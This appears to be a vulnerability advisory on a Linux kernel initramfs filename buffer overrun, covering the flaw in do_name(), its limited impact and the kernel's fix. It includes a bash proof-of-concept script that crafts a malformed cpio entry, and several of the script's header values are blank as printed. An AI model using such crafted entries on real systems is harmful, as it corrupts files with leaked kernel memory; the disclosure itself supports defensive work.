Summary: A vulnerability in the Linux kernel involving an initramfs filename buffer overrun has been fixed, ensuring that specially crafted cpio entries with non-zero-terminated filenames will not compromise system security.

Details

In the Linux kernel, a vulnerability in initramfs that could lead to a potential filename buffer overrun has been resolved. The initramfs filename field is defined in the Official Linux Kernel Documentation as follows:

37 cpio_file := ALGN(4) + cpio_header + filename + "\" + ALGN(4) + data
...
55 ============= ================== =========================
56 Field name    Field size         Meaning
57 ============= ================== =========================
...
70 c_namesize    8 bytes            Length of filename, including final \

During extraction of an initramfs cpio archive, the kernel's do_name() path handler assumes a zero-terminated path at @collected and passes it directly to filp_open() / init_mkdir() / init_mknod(). However, if a specially crafted cpio entry contains a non-zero-terminated filename followed by uninitialized memory, a file may be created with trailing characters representing this uninitialized memory.

This could allow an attacker with initramfs entry creation capabilities to exploit the buffer overrun, although such an attacker would already have full control of the system. Therefore, this vulnerability should not be considered a major security threat.

To reproduce this issue, you can append the output of the following bash script to an existing initramfs:

./reproducer.sh | gzip >> /myinitramfs

This script will help in observing any created /initramfs_test_fname_overrunAA* path and non-zero uninitialized memory:

---- reproducer.sh ----
nilchar="A"	# change to "\" to properly zero terminate / pad
magic="070701"
ino=1
mode=$(( 0100777 ))
uid=
gid=
nlink=1
mtime=1
filesize=
devmajor=
devminor=1
rdevmajor=
rdevminor=
csum=
fname="initramfs_test_fname_overrun"
namelen=$(( ${#fname} + 1 ))	# plus one to account for terminator

printf "%s%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%s" \
	$magic $ino $mode $uid $gid $nlink $mtime $filesize \
	$devmajor $devminor $rdevmajor $rdevminor $namelen $csum $fname

termpadlen=$(( 1 + ((4 - ((110 + $namelen) & 3)) % 4) ))
printf "%.s${nilchar}" $(seq 1 $termpadlen)
---- reproducer.sh ----

Symlink filename fields handled by do_symlink() will not overrun past the data segment due to the explicit zero-termination of the symlink target.

The Linux kernel team has fixed this filename buffer overrun vulnerability by aborting the initramfs FSM if any cpio entry doesn't carry a zero-terminator at the expected (name_len-1) offset. Patched kernel versions should be employed to avoid this vulnerability.

Timeline

Published on: 12/06/2024 10:15:06 UTC
Last modified on: 12/19/2024 09:40:12 UTC